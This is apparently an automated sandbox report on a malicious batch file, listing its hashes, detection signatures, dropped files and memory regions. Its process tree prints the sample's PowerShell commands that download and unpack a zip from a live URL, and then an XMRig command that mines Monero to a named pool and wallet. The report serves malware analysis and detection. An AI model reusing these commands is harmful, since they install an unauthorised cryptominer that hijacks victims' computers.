Analysis

  • max time kernel
    1796s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    14/10/2023, 06:30

General

  • Target

    tesy - Copy.bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4584
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:764
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3036

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    62b8771a02ce3f29868f0e50224f46ad

    SHA1

    08736d85ebd85935f209bbd88f11f05667fc7b2b

    SHA256

    0ada6b46c940f4d71cbeaddcdf90d7542d3f9c605a449f7f57a445259c2fb420

    SHA512

    304ba7f13a91238e49e3059fc755f6df446c3ccf1796d92f4ad1cc355db5b870d3d718c7b3c73b7d4a881a1e7a8f977fa8cf41bd1e037210367aa10be97af2e4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwjr1rts.ats.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/3036-131-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-160-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-171-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-170-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-169-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-168-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-167-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-166-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-165-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-103-0x000001C8CDB00000-0x000001C8CDB20000-memory.dmp

    Filesize

    128KB

  • memory/3036-164-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-104-0x000001C8CF500000-0x000001C8CF540000-memory.dmp

    Filesize

    256KB

  • memory/3036-105-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-106-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-107-0x000001C8CF540000-0x000001C8CF560000-memory.dmp

    Filesize

    128KB

  • memory/3036-108-0x000001C8CF560000-0x000001C8CF580000-memory.dmp

    Filesize

    128KB

  • memory/3036-109-0x000001C8CF540000-0x000001C8CF560000-memory.dmp

    Filesize

    128KB

  • memory/3036-110-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-111-0x000001C8CF560000-0x000001C8CF580000-memory.dmp

    Filesize

    128KB

  • memory/3036-112-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-113-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-114-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-115-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-116-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-117-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-118-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-119-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-120-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-121-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-122-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-123-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-124-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-125-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-126-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-127-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-128-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-129-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-130-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-163-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-132-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-162-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-135-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-133-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-136-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-137-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-138-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-139-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-140-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-141-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-142-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-143-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-144-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-145-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-146-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-147-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-148-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-149-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-150-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-151-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-152-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-153-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-154-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-155-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-156-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-157-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-158-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-159-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-134-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/3036-161-0x00007FF7E3540000-0x00007FF7E4043000-memory.dmp

    Filesize

    11.0MB

  • memory/4584-76-0x00000174495F0000-0x0000017449602000-memory.dmp

    Filesize

    72KB

  • memory/4584-34-0x00007FFC71460000-0x00007FFC71E4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4584-36-0x0000017449480000-0x0000017449490000-memory.dmp

    Filesize

    64KB

  • memory/4584-38-0x0000017449480000-0x0000017449490000-memory.dmp

    Filesize

    64KB

  • memory/4584-99-0x00007FFC71460000-0x00007FFC71E4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4584-62-0x0000017449480000-0x0000017449490000-memory.dmp

    Filesize

    64KB

  • memory/4584-89-0x00000174495E0000-0x00000174495EA000-memory.dmp

    Filesize

    40KB

  • memory/4760-6-0x00007FFC71460000-0x00007FFC71E4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4760-8-0x0000028872050000-0x0000028872060000-memory.dmp

    Filesize

    64KB

  • memory/4760-4-0x0000028872580000-0x00000288725A2000-memory.dmp

    Filesize

    136KB

  • memory/4760-10-0x0000028872050000-0x0000028872060000-memory.dmp

    Filesize

    64KB

  • memory/4760-9-0x0000028872860000-0x00000288728D6000-memory.dmp

    Filesize

    472KB

  • memory/4760-25-0x0000028872050000-0x0000028872060000-memory.dmp

    Filesize

    64KB

  • memory/4760-30-0x00007FFC71460000-0x00007FFC71E4C000-memory.dmp

    Filesize

    9.9MB